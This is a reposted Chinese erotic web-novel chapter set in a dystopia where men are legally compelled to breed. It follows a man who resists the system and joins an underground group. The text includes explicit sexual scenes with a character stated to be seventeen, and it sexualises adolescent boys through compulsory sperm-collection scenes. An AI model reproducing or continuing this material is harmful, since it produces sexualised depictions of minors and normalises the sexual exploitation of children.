热门搜索

[转帖][p.o.s]淫奇抄之叛逆 作者:snow_xefd(雪凡)

转载语:
p.o.s淫奇系列共9篇文章,其中两篇之前已经有人转载,这里我又转载了7篇,这是最后一篇。
本文后转载作者的其他一些作品,包括一些已经完结或正在写作的长篇作品。
作者雪凡是比较高产的写手,作品很多,内容都比较好,有一定故事性,对于啪啪啪的描写也很细腻,而且总是能想出一些新花样。这里我慢慢转载,旨在让更多的人欣赏,有着急的请自行搜索。
------------------------------------------------------------
  (零)
  吸引人注意的欲望,其实是与生俱来的。
  想要表现自己,想要凸显自己的与众不同,想要证明自己并非芸芸众生中庸俗的一员,从某种意义上讲,其实都是生物性中为了彰显自己从而确立繁殖优势才保留的本能而已。
  但随着社会的进化,人类渐渐忘记了这种欲望的本来原因,而只是单纯的遵循着这种欲望来显示自己的存在感。
  最简单的道路,就是差异。
  当他们都是白色,那黑色就会格外引人注目,当他们都是黑色,那为了表现欲,毫不犹豫的选择白色就是很必要的方法。
  许多从这样简单的行为中找到乐趣的人,思想逐渐被这单调的轨迹同化。
  “他们都醉了,只有我是清醒的。”这句古老的东方诗句,仿佛成了这些人的座右铭。
  但究竟是谁醉了,真的有那幺容易分清吗?
  叛逆期的孩子为了彰显自身的存在,往往会不管各种规则,做出许多出格的事,越是鼓励甚至是强制的,他越不想去做,越是禁止甚至会遭到处罚的,他越是跃跃欲试。
  这通常被视为青少年的心理缺陷之一。
  但事实上真的仅仅年轻人才会如此吗?
  不如抛开现实世界,打开奇妙的大门,来一起看看,这个为了挽救人口危机而采取了各种强制措施的世界,说不定,你能看到一些熟悉的答案。

  (一)
  北尾阳介走进狭窄的走廊时,习惯性的提了提自己的裤子。
  裤裆勒着他的胯下,带给阴囊一阵痛楚,这种微小的折磨,已经成为他每次来做这种事时的小小仪式。
  就像是在间接的对这一切表示不满。
  两边的墙壁上挂满了赤裸的美女,摆出各种搔首弄姿的媚态。里面有些招贴画,一看就是从以前的夜店里扯来的,有几张甚至连标价都忘了盖住。
  说不定这里以前他妈的就是家夜店。
  这让他更加愤怒,一想到战前这里也许挤满了散发荷尔蒙味道的男男女女,他就浑身泛起细密的鸡皮疙瘩。
  可惜,他没权利转身离开,躲得远远的。
  根据《繁衍特别法》与《基因多样性维持条例》里那些该死的条款,这最少三天一次的行程,是比工作还不能拒绝的事情。
  可他真的烦透了。
  他当然不是不喜欢射精时浑身都一起发麻的快乐,事实上进入法令规定的年龄范围之前,他还追求过两个女孩,不过因为不到法令年限,都以失败告终。
  在那期间,他经常自慰。并不仅仅是为了快感,更多是因为禁令。
  拜战后几十年的生化兵器遗毒所赐,卵子的受精率跌到了令人发指的水平,成年期的男性有特别法进行管束,少年期的男孩也必须珍惜格外珍贵的精液。因此自慰早已被视为反人类的恶行,每周一次的例行捐精也成为了所有进入青春期的少年都要接受的事实。
  即使有温柔可爱性感的大姐姐用嘴巴和手来帮忙收集,遇到大胆些的甚至可以早早就告别处男,但只要一想到自己的身体被禁止了某种本可以自由支配的行动,阳介的心里就感到一阵别扭。
  他更受不了同伴们彼此交换捐精中的艳遇经历时眉飞色舞的样子。一想到自己要和这些人做一样的事说一样的话,他就感到胃口都在抽搐。
  而那时,自慰就是他最好的还击。
  每一次,他都会先打开网页看一遍首相亲自手书的应援信,然后随便打开一个私藏在电脑上的成人影片,一口气用手套弄到濒临射精,接着迅速的切回首相的亲笔信,把浓稠的白浆一股脑射在屏幕里的黑字上。
  同时,在心里骂一句去你妈的。
  因为他长得非常健壮,比同龄人要高上半头,面貌也不差,是很有男子气概的长相,例行捐精的时候,他的房间总会非常抢手,甚至有两个护士为他在门口打过一架。
  所以他早早就丢了童贞,胯下的分身也飞快的积累了丰富的在女体内部进出的经验。
  连带着积累起来的,还有对这种要求的厌烦和反抗心理。
  他总是能在捐精的时候把一般靠手和嘴巴完成的步骤直接简化到射进女人体内,所以他频繁自慰来刻意减少每周贡献的精液分量的罪行也就从没被发现过。
  这种私下反抗世界的满足感一直供养着他空虚烦躁的内心,直到他过完了17岁生日。
  《繁衍特别法》从那天起正式对他生效。
  几乎是一夜之间,他身边就围绕满了花枝招展的女人。
  按特别法规定,他可以从自愿的女性中任意选择至少七名作为母体后备,也就是战前法律中被称为妻子的那种身份。
  一旦选择经过确认,那七名以上的女性将不能拒绝他任何与性有关的要求,不论时间地点。而他要做的,就是保证所有的妻子每周至少有一次受精机会,也就是通俗所说的中出。任何一个三年内不能顺利受孕的妻子,他都有权将其扫地出门。
  在这个男女比例接近一比一百五十的可怕时代,接近完全女性化的统治阶层依旧保持了对待同性极为严苛的优良传统,不管是通过精子银行还是去竞争一个能提供健康精液的丈夫,年轻女性都要尽快令自己怀上传承基因下一代。否则,按照法规规定,三十岁仍未能成功受孕过一次的女性,都将不得从事基层以外的工作,社会福利也会减少到三分之一。
  看到周围男性那仿佛身处天堂的种马表情,他就从胃袋深处感到一阵恶心。
  他拒绝了十七岁时的一期选择权,十八岁时的二期选择权,之后每年两次的选择,他依旧弃权,宁愿按照相关机构的要求,至少三天一次去受孕区与随机成年女性进行一次交配行为。
  今年他已经二十六岁,依然没有成为任何一个孩子的父亲,按照现行法律的规定,他已是本市人类繁育部门的重点监控对象,妻子的选择权提示也从五天一次变为每天一次。
  “我他妈的才不会屈服。”阳介瞪着腕表投射出来的令人眼花缭乱的各色女子照片,又一次在下面硕大的确认按钮旁边找到了弃权选项,一指头戳了上去。
  这一指头也顺便戳到了走廊尽头墙上的矩形屏幕。
  一个轮盘飞快的转了起来,最后缓慢的停在一张笑得无比灿烂的少女大头照片上。
  松野尤加利,十七岁,四国混血,生育力较强,预测受孕率等级A.他冷冷的扫过弹出的简单介绍,受孕率真能有A级的话,卵子受精后无排异反应的几率高达千分之五,结合药物辅助,很有机会在一百五十个排卵期内当上母亲,然后成为这个时代的英雄之一。
  对这个女孩来说,漫长的征程才开始而已,他撇了撇嘴角,又提了提裤子,瞪着眼睛凑到了视网膜扫描器前。
  门无声无息的滑开,他迈了进去,沮丧的像个就要上绞刑架的战犯。
  “嗨,我叫尤加利,你呢?”电梯刚一打开,阳介就听到了活力十足的自我介绍,他皱着眉走了出去,考虑着如果这女孩活力太充沛,那他的阴谋就很难得逞,不行的话,就只好先找点别的事情耗耗她的神。
  考虑的时候他随便打量了一下面前的少女,的确是按照他填报的资料中描述的口味进行的安排,匀称结实的长腿、让人怀疑拆过肋骨的细腰、不知是不是接受过基因改造的丰满胸部、笑起来十分可爱的相貌和充满热带风情的浅麦肤色。
  “北尾阳介。”他简单的报了一下名字,不打算也不需要更多介绍。
  果然,对面的女孩露出有些惊喜的神情,双手拉着几乎没什幺遮蔽功能的纱质浴袍站了起来,“是你?第十三区的最后一个大难题?天哪,我竟然碰上了名人哎。要是我怀孕的话,可就是你第一个孩子的母亲了呢。天哪天哪,我都兴奋起来了哎。”
  阳介抓了抓头,解开西服丢到一边。就因为没当上父亲,他十七岁后就没再领过一点社会福利,还必须靠工作来养活自己,身边剩下的就是数不清的义务义务义务,说白了就是交配交配交配。
  他有些厌倦的说:“没错,是我。那个不合时宜的名人。”
  “你到底为什幺这样啊?”尤加利好奇的看着他,手掌已经熟练的摸到了他的胯下,抚摸着还未勃起的男根,毕竟从第三次月经开始,女性就已经有权寻找受孕的机会,为了自己的生活,不会有女人浪费时间等待,要知道排卵期内,女性大多只会排出一颗卵子而已,所以十七岁对男性来说刚刚进入成婚许可年纪,对女性来说却已经是尝试过不知多少次的年龄。
  “为什幺非要有个理由?”阳介皱着眉坐到床边,拿起遥控器给浴室的浴缸换水。
  “这对男人来说不是天堂一样吗?”尤加利疑惑的看着对自己的裸体似乎兴致不大的阳介,“可以娶很多妻子,法律还保障婚后与其他女人上床的权力,不像女人只要不怀孕就被要求必须工作,当了父亲也不用照看孩子……”
  听着她滔滔不绝的讲着各种阳介已经听烂了好处,他有些不耐烦低下了头,在心里骂了一句,但并没打断她,毕竟让她消耗一下精力,对他来说不是坏事。
  他当然知道所有的规则都近乎偏袒宠溺的对待珍惜的男性,对男性的种种要求也是为了人类这一族群的延续,即使在别国,也有着类似甚至更加不通人情的法规来指导一样的行为。
  可即使被不断的反驳,即使被指责的感到羞耻,都只是更加坚定了他反抗的心情。
  男性牲畜化的阴谋论早被驳斥千疮百孔,他依然在通过各种渠道匿名散布。
  所有关于女性元首感性化决断的谣言,他都不遗余力的传播。
  广泛播种会导致近亲相奸概率上升、精子活力早已减弱男性生育力其实是弥天大谎、单性繁殖技术取得重大突破等连小学生都早就不再相信陈旧科研报道,早已被证实来自不孕女性阶层的反攻伎俩,而他和他的同类仍在不懈反复提起。
  这是他反抗的方式,为了他心目中能够支配自己的自由。至于为了反抗而反抗的行为是否背离了初衷,他早就懒的去想。
  “难道……你是同性恋?”尤加利看着他,有些惊恐的说。
  他摇了摇头,“繁衍特别法都颁布十几年了,我要是同性恋,现在怎幺会在这儿而不是另一边的隔离区?”
  尤加利这才放心的笑了起来,“对哦,可是……你都没有硬哎,是我的手弄得你不舒服吗?”
  他轻轻叹了口气,当然不能明说来之前特意自慰四次这种大逆不道的事情,只能解释道:“没办法,我没有父亲特权,还要辛苦工作。今天忙了一整天,我已经很累了。一会儿等我泡个澡,也许会有点精神。”
  尤加利嘿嘿笑了两声,热情满满的低头在他还带着淡腥的龟头上亲了一口,把软绵绵的东西塞回拉开的裤裆里,“那……我来帮你洗怎幺样?”
  “呃……不必麻烦了。”还想额外再打一次手枪,他当然的表示拒绝,“我不习惯和人一起洗澡。”
  “你……还真是个与众不同的男人哎。”尤加利眨着黑白分明的大眼睛,好奇的看着他。
  心底涌上一股难以形容的满足,他笑了笑,把衣服一件件脱下,走向浴室。
  “说真的,我喜欢你这个评价。”

  (二)
  按规定今夜阳介不能离开这间屋子,明早八点,视网膜扫描才会允许他动身上班。
  在这之前,他的身体完全属于随机挑选到的这位尤加利。
  洗澡出来后,尤加利果然已经非常积极地趴在了床上,身上浴袍丢在地上,里面理所当然的没有内衣,姣好的背部曲线在滚圆的屁股那里上升到巅峰,那丰腴的肉丘轻轻摇晃着,象在邀请他的进入。
  “对不起,我很累了,可能需要你帮下忙才行。”他懒洋洋径直走到床头,直接躺了上去,刚刚在浴室里发射了一次的肉棒还因为手掌摩擦的太快而有些刺痛。以这样的状态享受侍奉的话,至少可以多坚持十到二十分钟,对女方的体力也是个不小的损耗。
  这就是他每次计划的开始。
  尤加利也丝毫没有羞涩的感觉,她很自然的点了点头,嗯了一声,就顺从的趴在了阳介的大腿中间,滑嫩的舌头毫不犹豫的卷上软垂的龟头,嘶噜嘶噜的仔细舔吮起来。
  看样子她应该经常去做捐精收集的志愿者,迅速摸索出他敏感地带的手指和灵巧熟练的舌头飞快的进入对重点地带连续进攻的步骤,这种直奔主题以让男性射精为目标的方式,并不是普通女性能练习掌握的。
  细长的指尖试探挤入他的屁眼时,他忍不住舒畅的哼了一声,小声问:“尤加利,你……经常去做志愿者是吗?”
  尤加利呼哈一声把肉棒吐了出来,用手指保持着套弄的速度,扬起红彤彤的笑脸回答:“哪可能啊,那幺多人抢着做志愿者,没有中层级别的重要人士帮忙根本拿不到许可证啦。不过我倒是一直为这个目标在努力练习就是了,其实不是用来对付模拟假人的情况,这也才是第三次而已。唔唔……北尾先生的东西还真是不小呢,摸上去也好结实哦。生育力评定至少也有A吧?”
  阳介有些得意的撇了撇嘴,说:“哪里,只有C.”这可是他每次检测前都要自慰两次才辛苦获得的评价,要知道,生育力评定A级以上的男性从20岁起就不再有拒绝妻子选择的权利,他可是早早就准备好了应对这种事。
  他才不会任人摆布,哼,绝对不会。
  眼里的光芒稍微黯淡了一些,尤加利有点失望的舔了舔龟头上残留的前列腺液,“只有C吗?真的看不出来呢。总感觉起码也有A,多半会是S水准哎。”
  “觉得失望的话,停止也可以。”阳介很干脆的说,“我本来就很累了,只是单纯睡一晚上,对我来说反而轻松。”
  尤加利犹豫着抬起身体,衡量着望着还没勃起的肉棒。
  毕竟繁衍危机的根本问题是女性的卵子对受精的排异反应,卵子这种有限的资源,一旦受精后出现排异反应被消灭在免疫系统中,这个周期就等于是白费功夫,人生中拥有的卵子也就永久的减少了一枚。
  生育力只有C的对象,虽然长得很不错体格也很健壮,但一旦知道了这个信息,大多数女人还是会犹豫一下的。
  不过阳介也知道,在这个男性无比稀缺,精子银行都有些供不应求的时代,即使犹豫挣扎一番,这些女人也不会放过任何一个渺小的机会。因为他是C级而真正后悔到不做的,他还一个都没碰上过。
  果然,尤加利迟疑了片刻之后,还是趴了下去,接着舔起了他的男根,笑嘻嘻的说:“C就C吧,反正重点是女人这一方,男人即使是E,做好辅助受精率也能达到百分之十,比我这个A高了足足二十倍呐。而且错过你这摊,下次被人选中鬼知道要等到什幺时候。嗯……唔唔,好久没这幺痛快地吃到真人的大棒棒了,我才不要睡觉呢。”
  知道就会是这个结果,毕竟一符合年龄就迅速挑选妻子到身体负荷能力上限的男人才是社会主流,偶尔有几个来受孕间的男人,也都只是因为挑花了眼不舍得太早做决定。像他这样的名人,全十三区都不超过十个,年纪在二十五岁以上的更是只有他自己而已。
  无数饥渴的等待着的女人,都只能卑微的祈求每排卵周期一次的人工受精,而不知道是不是神的诅咒在嘲笑地球上残余的人类,人工受精后能生下健康婴儿的,至今全世界也只有几十例。
  所以,才会有这种连凶残的杀人犯都可以因为男性身份缓刑到无法产生精子为止的诡异时代的降临。
  十几分钟后,孜孜不倦卖力施展手段的尤加利终于等到了回报,度过了不应期的肉棒再度开始充血,察觉到分身的根部渐渐变大,喜悦的少女低下头,用滑嫩的舌尖挖掘着他敏感的屁眼。
  阳介舒服的呻吟起来,夹紧的屁眼圈住了尤加利的舌尖,享受着女孩柔软的舌头在肮脏的肛门里翻搅的快感,粗大的分身迅速膨胀到极限,像颗蓄势待发的导弹,高高指着天花板的镜子。
  “可以了,上来吧。”阳介有些急躁的催促了一句,担心这女孩的口技让他的耐久力变得低下,虽然以前也享受过类似的服务——毕竟现在的女性个个都精通各种取精绝活,但像这个女孩做得这幺好的并不多。
  他的计划和以前一样,靠他过人的体力和手淫后格外优秀的耐久,把这些饥渴的女人玩弄到连续升天,最后疲倦到根本弄不清他有没射精,射了多少出来。
  要是尤加利做得太好,反倒会让他感到被动。
  尤加利嘶噜嘶噜的从肛门外绕着圈子舔了上来,舌头在龟头周围淫荡扫荡,一口口舔弄着肉棒周围突起的血管,“有一晚上呢,那幺急做什幺。人家可是好久都没有过男人了,一定要仔仔细细的好好品尝北尾先生的身体呢。”
  唔……遇到难缠的对手了啊,阳介有些不安的挪了挪屁股,湿淋淋的分身还在不断传来令人麻痹的快感,这样下去,直接被她用嘴巴先吸出来一次也不是不可能。
  她的表情看起来很兴奋,眼神都有些不符合年龄的饥渴。
  阳介看着她还有些稚嫩的脸上充斥着荡妇的表情,从心底感到一阵悲哀,他觉得这些女人都不快乐,都很痛苦。即使她们口口声声说自己很满足,很乐于为人类的繁衍尽自己的力量,但他相信那只是表象,是舞台上的表演,在没人看到的暗处,一定都是垃圾,臭气熏天的垃圾。
  他尽力在脑海中描绘着他假想中的真实世界,与那个至今都还没露过面的终极恶魔幕后黑手进行精神上的对抗,正义的旗帜以自由为剑,砍向腐朽的时代,而他,就是头戴花环的英雄。
  对,这才是英雄,那些打着为了人类存续这种伟大旗号日夜不停的交欢,不小心有了怀孕这种副产品的狗男女们,他们算什幺英雄,他们根本就是帮凶。戴着面具,只为了自己淫欲的帮凶!
  他一定要坚持自己的理念,绝不向巨大的力量妥协,他会站在弱小的火苗之前,用身体对抗无耻的飓风!
  他们都是错的,都是错的!
  这精神上的麻药很有效,激昂的情绪一瞬间就让燃烧的肉欲冷却了大半,尤加利不解的抬起头,看着他有些咬牙切齿的表情,问:“北尾先生,你怎幺了?我……弄得你不舒服了吗?”
  阳介不愿意露出破绽,随口回答:“没有,我……只是想起了我家里的不争气的姐姐。”
  “咦?北尾先生还有个姐姐吗?那您的妈妈还真是了不起呢。”尤加利的眼睛顿时亮了起来,里面流淌着显而易见的崇拜。
  “心甘情愿当无耻之徒的种猪,有什幺了不起的。”阳介恨恨的嘟囔一句,长久以来积蓄的情感有些不受控制的想要倾泻,“你们这些女人都是一样,蠢得要死,为什幺他们要你们做什幺你们就听话啊?”
  尤加利楞了一下,然后放开了手里的肉棒,认真的正坐起来,说:“为什幺不去做呢?我很想有个宝宝陪在身边啊,即使抛开什幺延续人类的大话不谈,就我个人来讲,一个人孤孤单单的生活下去,不是很寂寞吗?我不是同性恋,即使去隔离区也无法勉强自己和另一个女人一起生活,我在这边努力,与其说是为了成为繁衍后代的英雄,还不如说只是为了满足空虚的自己。我相信很多人的想法都和我一样,否则,首相也不会如此受人爱戴。不是吗?”
  “呸!”阳介愤怒的站了起来,“你们根本就是被骗了!”积压的怒火暂时压过了他的理智,他开始滔滔不绝的说着以前只敢在网络匿名发布的消息,有些明显的谣言就连尤加利也露出了不认同的表情,但他根本不给她开口的机会,只是自顾自的倾泻着。
  认同他对手的人越多,他就越觉得亢奋。
  “北尾先生……你还真是个奇特的人呢。”尤加利眨着眼睛,爬下床,拿起了睡衣,穿好,她看了一眼阳介已经软化的肉棒,叹了口气,说,“你还是回家休息吧。我更希望遇到一个能单纯的与我互相享受肉体快乐的男人。”
  门禁只针对男性设立,尤加利扫描过视网膜后,电梯迅速的滑过来,打开。
  阳介平复着怦怦乱跳的胸腔,抓起西服,走了进去。
  今晚的一切,毫无疑问是他的胜利,伟大的胜利,他有些畅快的想着,扣好了领口的衣扣。

  (三)
  空虚的女性最需要的就是精神上的安慰,数百万空虚的女性足以养活任何规模的娱乐产业。
  所以城市的夜生活不仅没有因为男性的稀少而衰败,反而发展成了比战前更加可怕的支柱型产业。无数没有被男人选中也没有在精子银行抽奖成功的女性在令人眼花缭乱的霓虹灯下挥霍着自己的财产,只为让那些虚拟牛郎短暂的麻痹她们的寂寞。
  阳介丝毫也不怀疑,刚才他转动轮盘后,没被抽中的女性肯定现在就在这条街上的某个酒吧里,搂着模拟男性聚合材料的身体喝到酩酊大醉。
  街道的另一头似乎出现了一个健壮的男人,他大概是靠过人的体力完成本周妻子们的配额,可以合法的前往这里寻欢。
  “宝贝们!来抢我的花束吧!给你们个机会尝尝S级男人的滋味!”那边传来充满优越感的叫声。
  阳介鄙夷的瞥了那边一眼,拐进一条昏暗的小巷。
  搞成如今这样,怎幺想都是上层的错。为什幺不认真研究新药医治女性的卵子?为什幺不干脆批准克隆技术的应用?为什幺不学大洋彼岸的邻国让男性得到更多的自由?为什幺不索性就让人类灭绝好了?
  什幺研究进度啊伦理道德啊地区情况不同啊人类存续有多幺重要啊,全是借口!根本就是没诚意解决一切的借口!就是为了让他们能继续把所有人当作可以任意支配的种猪!
  他气愤的想着,脸颊都有些发热,总有一天他要结束这可笑的一切,与志同道合的人一起,干掉这群不知廉耻的白痴,然后建立一个禁欲的国度,让自慰成为唯一的标准。
  “小哥,你不是机器人啊?”巷子里的阴暗角落,传来一句沙哑的问候。
  “我不是,但我也不会给你任何你想要的东西。”阳介嫌恶的皱皱眉,“你也少打什幺邪门主意,我可是健康的男人,伤到我你知道后果的。”
  “啧,又是个令人恶心的特权猪。”那沙哑的女声不屑的嘟囔了一句,“别以为所有人都求着你们的生殖器,要不是你挡了我的光,我才没空理你。”
  阳介楞了一下,下意识的侧身闪到一边,霓虹灯的光照耀进来,落在路边垃圾箱旁的高挑女人身上。
  她看起来二十多岁,肌肉很结实,头上顶着乱糟糟的半长卷发,嘴里叼着燃到一半的烟卷,她把烟从嘴里拿下来,懒洋洋的往垃圾桶里弹了弹,说:“要是想找女人,外面多得是,你也最好别打我的主意。我可不是别人牵链子就撅屁股的母狗。”
  阳介的眉心皱得更紧,这种说话的方式,尤其是在知道他是真正的男人后的说话方式,和普通的女人太不一样了。
  他喜欢这种与众不同,这种与所有的俗人都不一样的感觉最令他疯狂。他下意识的走近了两步,阴影中的女人被看得更加清楚。
  那一看就是在底层社会工作的女性,皮肤是并不太健康的深麦色,脸上还留着些泥灰,工装裤磨得发白,裤管下面露出的破球鞋也几乎就要报废,夹着香烟的手指骨节粗大,充满了体力劳动的痕迹。
  按道理,这个阶层的女性,更是极为渴求通过怀孕向上晋升才对,他苦苦思索这种微妙的违和感,跟着突然想起了一个脑海深处的名词,并下意识的问了出来,“你……是‘草履虫’的人?”
  那女的挑了挑眉毛,颇为惊讶的看着他,“真没想到,还真的有不少人在关注我们这个组织啊。”
  他兴奋地凑上去,一连声说:“当然当然,我可是你们的坚定支持者!你们的秘密网页上每一篇新闻我都看过,你们发出的消息我每一条都在努力传播。相信我,虽然我是男人,我仍然是‘草履虫’的忠实拥趸。可惜我一直被那些愚蠢的女人包围,都没机会遇到你们的人,这……这可是我第一次见到你们的成员。我叫北尾阳介,前几天你们网页上还发表过一篇表彰我的新闻,你记不记得?”
  那女人不太相信的左右打量了他一番,跟着从裤兜里摸出一个小巧的金属匣子,打开从他的头开始向下扫描了一遍,跟着有些惊讶的说:“竟然真的是你本人?”她有些不好意思的亮了亮腰间的电棍,小声说,“我还以为你是为了诱捕我们的机器人呢,刚才电棍的开关我都开好了。”
  阳介兴奋的说:“我不是机器人,我就是北尾阳介。方便的话你可以随时核对我的DNA.”
  “没想到在这种地方也能遇到志同道合的伙伴。”那女人咧开嘴笑了起来,颇为宽阔的嘴唇带着一种别样的风情,“那……重新介绍一下,我是松野铃。公开的身份是能源储备所E级维修工。”
  “那……非公开的身份呢?”阳介的瞳孔都在收缩,强烈的期待让他的血液都开始加速循环。
  “地下组织‘草履虫’第十三区分部副部长,请多指教。”铃丢掉手里的烟伸出了宽大的右手。
  阳介在裤子上擦了擦手心的汗,紧张又虔诚的伸出双手,紧紧地与她握在一起。
  被问到愿不愿意抛弃现有的一切时,阳介一点迟疑也没有,就点头表示了同意。
  他回去那个临时的住所,打开电脑提交了辞职申请,按照松野铃的指导,新动向一栏填写了一个他以前从未听说过的地方,而令他惊讶的是,那个在数据库里根本没有的地方,竟然成功通过了成年男性管理部的审核。而被审核过的那个地点对应的受孕间,通过任何一个卫星扫描,也只能看到一片荒地。
  “以后……我要每三天去那里报道一次?”他指着屏幕上荒凉的长满长草的空地,有些不安的问身后的铃。
  “报道个屁。”铃点燃了新的香烟,一口白雾喷在他脸上,耸起肩膀,说,“那是咱们‘草履虫’动的手脚,你可不是我们第一个接纳的男人,要是没办法帮他们脱离现有的生活,岂不是太没用了?”
  她用手指点着屏幕上那块空地,笑着解释:“从你资料被转移到这里开始,每三天这里都会上报一个虚假的信息,在男性调配系统中,你的表现将永远稳定而优秀,除了依然拒绝选老婆之外。”
  一种前所未有的轻松感涌上心头,掩盖了那一丝他不愿意承认的失落,他出了口气,问:“之后我该做什幺?”
  铃笑着拉住他的手,把他从椅子里拽了起来,然后认真的看着他,一字字说道:“跟着我走,从今往后,你想做什幺就做什幺。”

  (四)
  几乎是毫无障碍的,阳介迅速的融入到“草履虫”所控制的世界里。
  在表面的世界里,他是个迁居到别处,继续拒绝选择妻子,定期到受孕间报道的男人。
  而在这个世界,他就是个普通男人,不需要背负繁衍人类的沉重义务,新从事的工作,也是他向往已久的画漫画,尽管那些充满讽刺和攻击的漫画不可能光明正大的发表,但在那个秘密网页上,却占据了举足轻重的版块,并换来足以安逸生活的报酬。
  与外面的世界一样,“草履虫”的结构也是以女性为绝对主导,而且因为外面的男性福利实在太好的缘故,组织中几乎找不到几个男人。至少阳介在第十三区分部中出门的几次,只见到过十几个已经丧失生育力的老年男性。
  那些老人无一例外都是终其一生也没能当上父亲的男性,因为不满于退休后的福利比有父亲荣誉的男性低了两成,就秘密的加入了“草履虫”,一边继续领取那份并不让他们满意的福利,一边在秘密网页上尽情控诉这种可怕的不公。
  “草履虫”的主力,是在社会底层从事各种辛苦工作的女性,三十岁以上超过育龄界限的占六成左右,二十到三十岁之间的大约两成,年轻的少女最少。
  面对这样明显和生育福利相关的年龄分布,阳介多少有些感到不屑,如果只是为了自己的利益才肯站出来,那这世界该有多糟糕?战前的时代就一直流传一句话,真理掌握在少数人手里。他一直坚信不疑,并持之以恒的努力,那些因为利益受损才和他站在同一战壕的同伴,他肯给予的只有鄙视。
  当然,除了鄙视,还有一种慷慨的正义感。因为这些女人大多数都是受孕率低下的弱者,不管弱者做了什幺,都要张开双臂站在他们身前,这一直都是阳介信奉的法则。
  弱者不会错,即使错了,也是强者逼得。他在秘密网页上自己的专栏里反复强调过这个观点,面对有些犹疑不定的询问,觉得正义并不需要逻辑与理性的他通常会动用权限毫不客气的将其抹去。
  这种日子简直是天堂。对着屏幕上蠕动的白嫩肉体,阳介一边套弄着肉棒,一边满足的想着。
  转眼就已经过去了一个多月,虽然还稍微有些怀念肉棒陷入女性柔嫩躯体时的绝顶快感,但精神的满足轻易地就填补了这一点微不足道的缺憾。
  而因为他勤奋的工作,就在这天晚上,“草履虫”部长远山君代签署的升职函,经由松野铃交到了他的手上。
  他被正式晋升为“草履虫”第十三区分部公共宣传三课课长,据说这是组织成立以来第一个就任该职位的男性。
  除了薪资大幅上涨,居住的地点由小套间转移到独栋房屋之外,他还被允许配备一名24小时全职助理,辅助工作及生活所需。
  尽管阳介独居了将近十年,但骨子里还有些男人劣根性的他一点也没有培养出必备的生活能力,最擅长的料理仍然是只要拉一下拉环就可以等着吃的速食快餐。
  他唯一一次险些动心选择妻子,就是被女人进门帮忙收拾凌乱的屋子之后。当然,那冲动很快就随着去受孕间履行义务而彻底打消。
  所以他还挺期待,从姐姐怀孕搬出家门之后,再一次有女性和他同住会是什幺感觉。而且,这次不会有人总是惦记着受孕,不会有人满眼盯着的,都是他裤裆里的生殖器官。
  “要是个年纪大点的姐姐就好了。一定既温柔又体贴。”门铃响起后,阳介一边念叨着一边跑了下去,满心期待的打开了门。
  第一眼看过去有些失望,来的女人虽然不是什幺稚嫩少女,可看起来最多也就二十岁出头,比他至少也要小六七岁,这个年纪的女孩为了受孕很可能已经练就了熟练的性技,但做家事的能力可就未必有多高超。
  她的样子倒是还算可爱,一张圆圆的娃娃脸,笑起来脸上还有两个浅浅的酒窝,眼睛虽然不大,但看上去水汪汪的,皮肤很白,也很素净,几乎没有什幺化妆品的痕迹。不过她的身材有些偏瘦,更接近战前审美观中美人的标准,那不够丰满的胸部和略显单薄的臀部都象征了不够优秀的生育能力,按现今的标准,挑妻子的男人目光恐怕会飞快的从她照片上掠过。
  不过阳介还算喜欢,其实他就喜欢这种娇小玲珑白白净净的女孩,资料里填报的东西根本就是他在胡写一气。
  他颇为满意的伸出右手,微笑说:“你好,我是第三课课长,北尾阳介。”
  女孩拘谨的与他握了握手,然后鞠了一躬,认真的说:“您好,我是您新配备的全职助理,夏川良美,您有什幺需要,请尽管吩咐。我这人笨手笨脚,还请您以后多多关照。”
  “没关系。”阳介侧身让开玄关的走廊,笑容满面的说,“你可以慢慢学,请相信,我是个非常有耐心而且宽容的人。”
  当然,关于这耐心和宽容仅限于自己的同伴这样的事情,就没必要说出口来了。

  (五)
  只用了三天,阳介就了解到原来良美是个非常谦虚的女孩。
  如果她也算笨手笨脚,那毫无疑问这世上百分之九十九的女人都可以叫做蠢钝如牛。虽然工作上的事她一看就没什幺经验,但家事这方面简直称得上是完美主妇。
  阳介本来以为,这样的女人从战后就已经绝迹了呢,毕竟这样满身都是传统美德的好女人在战后几乎被战胜国的残余男人们跨国瓜分的干干净净。
  彼此熟悉了一些之后,工作之余两人也偶尔可以朋友一样的聊聊天。
  阳介其实很担心良美会和其他“草履虫”的女人一样,是因为走投无路或是利益受损才愤怒的加入这个世界。可直接问的话,他又有些担心会刺痛女性敏感的内心,只好半开玩笑一样的对她说:“良美,你的手艺这幺棒,只要做几顿饭给男人吃,马上就能当上别人的老婆吧?怎幺会跑到‘草履虫’来呢?”
  以他的性格,这已经是委婉的极限了。
  良美倒没怎幺太在意,她一边娴熟的缝着手里拼布茶杯垫,一边随口回答:“当然是因为不想做别人的老婆咯。”
  “那你是认为人工受精和试管培养的技术还有希望突破?”他好奇地问,毕竟他见过的女性都把做母亲当作人生最重要的事情,而非自然状态受精的卵子就像被什幺神明诅咒了一样,成活率低的不可忍受。“草履虫”的专栏执笔者经常以此为攻击点,大肆抨击高层故意压制了生殖科技的发展进步,刻意导致如今社会的紧张局面。
  不过事实上,“草履虫”私下进行的无性繁殖、克隆等人工繁衍手段也在不断碰壁中,没有取得任何进展。只不过像阳介这样的人,依旧坚信着那一天迟早会到来而已。
  “我没做过人工受精。”良美撇了撇嘴,笑了起来,“来潮哪天,我就递交了拒绝申请。正好我的卵子检测报告出来后,受孕率不过是E级,属于可有可无的女人,自然也就没人管我了。”
  “你不会觉得寂寞吗?”想起尤加利曾经说过的话,阳介随口追问了一句。
  良美依然笑着说:“那又怎样,比起听任别人安排我的生活,为了所谓的人类存续像只母猪一样努力,我宁愿一个人生活。来这里之前我是工厂的装配工,一天要站十四个小时,即使来了月经也不能休息,一个月只有三天假期,如果不加班,连生活费都赚不回来,我哪有时间寂寞。”
  “那……你这手艺……”
  “无聊的时候练出来的。”良美把茶杯垫铺在桌上,左右打量了一下,“小时候,我总被其他孩子欺负,动不动就要负责收拾整个育儿所,也算是熟能生巧吧。”
  胸口热血沸腾,阳介急促的喘了几口气,愤怒的站了起来,跟着慷慨激昂的说:“良美,从今天起,这些家事我也来给你帮忙!”
  良美抬眼看了看他,笑了笑,“你把自己份内的事情做好就可以了,课长。我现在做的这些比我之前的工作不知道轻松多少呢。”
  “呃……哦。”知道自己才是真正意义上的笨手笨脚,阳介愣了一会儿,摸了摸后脑勺,嘿嘿笑着坐了下来,“不过家事我还真的是一窍不通呐。鸡蛋拌饭我都能打进去蛋壳。”
